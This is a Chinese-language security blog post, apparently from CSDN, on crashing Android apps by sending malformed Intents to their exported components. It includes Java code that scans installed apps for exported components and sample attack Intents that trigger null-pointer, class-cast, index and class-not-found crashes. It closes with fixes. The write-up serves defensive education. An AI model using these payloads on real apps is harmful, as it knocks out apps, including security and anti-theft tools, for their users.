“……
我还是从前那个少年
没有一丝丝改变
时间只不过是考验
种在心中信念丝毫未减
……”
![6a131bcdd7f98a7480058dacc0c43fa7.gif](https://i-blog.csdnimg.cn/blog_migrate/97f8606a5d43b299cac18e853af49cd2.gif)
![9adad4a9ef5486b0996d6b39c3ac7dd3.gif](https://i-blog.csdnimg.cn/blog_migrate/63a8fe7cd9069b3f0b5e09566c67df56.gif)
![26400f23928901073b667d41c9aa7254.gif](https://i-blog.csdnimg.cn/blog_migrate/052f95e033bb7d09d3331b3d28512afe.gif)
![fb9aba64c0a06d8bc71e301be4268d2b.png](https://i-blog.csdnimg.cn/blog_migrate/a8f97782e6a351601ca07a6e91a06bac.png)
![b7c253ee9617cc79b1fa4160d61c43ac.gif](https://i-blog.csdnimg.cn/blog_migrate/b4c75670035ff2d1e4b4f8280d129ef9.gif)
问题复现
遇到这种情况,我们可以通过开发常用的简单手段来进行问题复现:
首先这很明显是个拒绝服务攻击,那么我们要做的就是要先定位到发生了什么异常,这里以常规手段为例(当然厂商从业人员是可以通过系统层面的手段直接定位到问题):
1. 进入手机的开发者模式,开启USB调试
2. 通过adb logcat
命令开始记录手机的所有 Log
3. 打开刚刚使用的音乐播放器,静待问题复现
4. 通过问题时间及 exception 进行分析
So,Let's do it!
打开命令行,输入adb logcat -> test.log
,待问题复现后停止 Log 采集,很快问题便来了,如下面截图所示:
![5b289c82f3b02df9bd83cf867ea6e2cf.png](https://i-blog.csdnimg.cn/blog_migrate/29759f680237b8b129d73e37c5ebae61.png)
![e5de6950bda2670f3d425d8b2c76d059.png](https://i-blog.csdnimg.cn/blog_migrate/09ede6f23b85ca68cce4acf73451fb0c.png)
![41bd09c665c480d36e14a1cff46c64b6.gif](https://i-blog.csdnimg.cn/blog_migrate/be868a5870817e8ce03fcc6af66f710d.gif)
getIntent(),getAction(),Intent.getXXXExtra()
的方式去获取数据,而如果获取到的是空数据、异常数据或者畸形数据,就会引发应用的崩溃,导致应用出现闪退等拒绝服务现象。
拒绝服务攻击
不仅可以导致安全防护等应用的防护功能被绕过(如杀毒应用,安全应用,防盗锁屏等),而且也有可能被竞争对手利用,使得自己的应用崩溃,可能在某种程度上造成损失。
拒绝服务影响范围:Android 全版本!!!
攻击实践
纸上得来终觉浅,绝知此事要躬行,来实践下吧!
带着这个问题查阅了网上的数据和相关资料,所以一起来实践看下这类问题是否依旧是大面积存在。
首先我们创建一个 Android 的工程,利用 PackageManager 可读出全部应用列表:
pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES);
通过如下代码可取得应用的暴露组件:
public void getExportedComponent(){
PackageManager pm=getPackageManager();
int exportedCount=0; // 记录有暴露组件数量
try {
PackageInfo packageInfo=pm.getPackageInfo(packagename,PackageManager.GET_ACTIVITIES);
// Activity
ActivityInfo[] activityInfo=packageInfo.activities;
try{
for (ActivityInfo activity:activityInfo){
if(activity.exported){ // 判断是否暴露
Log.d("Exported",activity.name);
exportedCount++;
try{componentlist.add(activity.name);}catch (Exception e){
e.printStackTrace();
}
}else{
Log.d("Not",activity.name);
}
}}catch (Exception e){
e.printStackTrace();
}
// Seivice
ServiceInfo[] serviceInfos=pm.getPackageInfo(packagename,PackageManager.GET_SERVICES).services;
try{
for (ServiceInfo serviceInfo:serviceInfos){
if (serviceInfo.exported){
exportedCount++;
Log.d("Exported",serviceInfo.name);
try{
componentlist.add(serviceInfo.name);}catch (Exception e){
e.printStackTrace();
}
}else {
Log.d("Not",serviceInfo.name);
}
}}catch (Exception e){
e.printStackTrace();
}
// Receiver
ActivityInfo[] receivers = pm.getPackageInfo(packagename, PackageManager.GET_RECEIVERS).receivers;
try{
for (ActivityInfo receiver:receivers){
if (receiver.exported){
exportedCount++;
Log.d("Exported",receiver.name);
try{
componentlist.add(receiver.name);}catch (Exception e){
e.printStackTrace();
}
}else {
Log.d("Not",receiver.name);
}
}}catch (Exception e){
e.printStackTrace();
}
} catch (PackageManager.NameNotFoundException e) {
}
if(exportedCount!=0)
{
Toast.makeText(FuzzerActivity.this, "该应用共有"+exportedCount+"个暴露组件", Toast.LENGTH_SHORT).show();
}
else
{
Toast.makeText(FuzzerActivity.this, "该应用没有暴露组件", Toast.LENGTH_SHORT).show();
}
}
为了方便起见我们将其放入一个列表里,得到如下APK:
![afff57e337e848ed7c85ac1199aba21f.png](https://i-blog.csdnimg.cn/blog_migrate/c7c981bc0e4b2489369a170bc9e71aa2.png)
![5bbd86bf9dc28fd19aa66d8ece11b3f8.png](https://i-blog.csdnimg.cn/blog_migrate/3d809e311c2dbce0a9239fd4b73b77d5.png)
![6380e0ba14ad816568f19326019a038f.png](https://i-blog.csdnimg.cn/blog_migrate/1b42037ffe6780d33765dccae92e39e6.png)
![5d16e602eedc1e2f891fd44d9f3e8ca3.gif](https://i-blog.csdnimg.cn/blog_migrate/b708e53736fb256012504581730bc9ce.gif)
NullPointerException
问题代码示例:
Intent i = new Intent();
if (i.getAction().equals("XXXX")) {
Log.d("TAG", "Test for Android Refuse Service");
}
攻击思路:
// adb
adb shell am start -n 包名/.MainActivity
// 亦可通过 Intent 直接启动此类组件
![5d16e602eedc1e2f891fd44d9f3e8ca3.gif](https://i-blog.csdnimg.cn/blog_migrate/b708e53736fb256012504581730bc9ce.gif)
ClassCastException
问题代码示例:
Intent intent = getIntent();
String test = (String)intent .getSerializableExtra("key");
攻击代码示例:
Intent intent = new Intent();
intent.setClassName("目标 Activity ", "目标组件");
intent.putExtra("key", BigInteger.valueOf(1));
startActivity(i)
![5d16e602eedc1e2f891fd44d9f3e8ca3.gif](https://i-blog.csdnimg.cn/blog_migrate/b708e53736fb256012504581730bc9ce.gif)
IndexOutOfBoundsException
问题代码示例:
Intent intent = getIntent();
intArray = intent.getIntegerArrayListExtra("testarray");
if (intArray != null) {
for (int i = 0; i < 5; i++) {
intArray.get(i);
}
}
攻击思路:
伪造 testarray 且小于其判断大小,通过 intent 传入,引起拒绝服务。
![5d16e602eedc1e2f891fd44d9f3e8ca3.gif](https://i-blog.csdnimg.cn/blog_migrate/b708e53736fb256012504581730bc9ce.gif)
ClassNotFoundException
问题代码示例:
Intent intent = getIntent();
intent.getSerializableExtra("key");
攻击代码示例:
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent intent = new Intent();
intent.setClassName("目标包名", "目标组件");
intent.putExtra("key", new SerializableTest());
startActivity(i);
}
// 自定义序列化内容
public class SerializableTest implements Serializable{
private static final long serialVersionUID = 42L;
public SerializableTest(){
super();
}
}
攻击思路:
自定义序列内容,通过 Intent 发送至目标组件,从而引起其拒绝服务问题。
经过上面的介绍,我们攻击代码的思路已经很清晰了,先扫描各应用暴露组件,进而分别用我们的 APK 去伪造 Intent 启动目标组件,同步使用 Logcat 或直接观察应用状态查看结果。
![5d16e602eedc1e2f891fd44d9f3e8ca3.gif](https://i-blog.csdnimg.cn/blog_migrate/b708e53736fb256012504581730bc9ce.gif)
因为只是验证问题,所以这里并未进行自启动且自动扫描,而是采用了手动扫描的形式,也更方便实时查看结果。
鉴于此问题目前市场较多的应用仍存在,故此次还是不做数据统计结果的分享,有兴趣的也还请自行验证。
目前,此问题广泛的存在于各类应用中,除上文中的某知名音乐软件,在其他某些知名社交类应用、直播类应用、甚至部分安全类应用也存在。
修复建议
既然问题这么多了,还是修复一下吧,以下是经过实践得出的有效修复方式:
1. 如非必要,直接将组件设定为不可导出
即:android:exported="false"
2. 暴露组件在被启动时一定进行参数的有效性验证并进行异常捕获
尤其Intent.getXXXExtra()
相关代码
![6117c9367f9ae9bd9884af32b6be6a1c.gif](https://i-blog.csdnimg.cn/blog_migrate/feb4048f65556d3044f67d5bdc504cea.gif)
建议捕获异常类型
· 空指针异常
· 类型转换异常
· 数组越界访问异常
· 类未定义异常
· 其他异常
问题拓展
Intent 是 Android 中很重要的一个通信方式,通常是会包含很多额外的数据,如 Action、 Extras等,以供目标组件处理。
Intent 安全一直以来也是移动安全领域的热点之一,因为外部输入的不确定性,从而可能会有更多被攻击的可能性。
本地 Intent 注入的风险也更不仅是拒绝服务,如权限提升、LauchAnyWhere、间接访问私有组件等,尤其当 system 权限的 APP 存在漏洞时,就有可能会被绕过 IPC 权限。
远程的 Intent 注入,操作空间也会更加灵活,如来自网页的 JS 脚本可以通过远程的 Intent 实现拨打电话,通过网络短信中的链接,可以直接启动本地的应用等等。
抛出此类问题也是从安全角度提出一些 Intent 的使用方式,如在传递敏感信息时应优先考虑如何进行身份校验,而不是实现了功能,却给攻击者留下了漏洞。
▼
写在最后
其实本文所谈的问题早在5年前就已经抛出来了,直到现在,市场上还有很多的未修复应用,还不乏一些大厂应用。可想而知,如何避免重复出现已发现的安全问题,还是任重而道远呀……
更多精彩阅读![6e676ec9c20b1f49c2ee239cfe82ccfd.gif](https://i-blog.csdnimg.cn/blog_migrate/0a75cb36af4e9b021bfadff8a1d3c167.gif)
END
![1bab76e75436bcb65139bd96a1fe1e2f.png](https://i-blog.csdnimg.cn/blog_migrate/bcdd4be646bb9267573ccf840d91e3d8.jpeg)
长按关注 最新动态
![080eaa14fa44dc2760aa2e78986da5b2.gif](https://i-blog.csdnimg.cn/blog_migrate/5c4a5defba4bc53727175d957a5ca00a.gif)
![129a67adc2cf374ef346bb75b853fbe4.gif](https://i-blog.csdnimg.cn/blog_migrate/75aa3270ed6b5231d63f1bc4c67227d2.gif)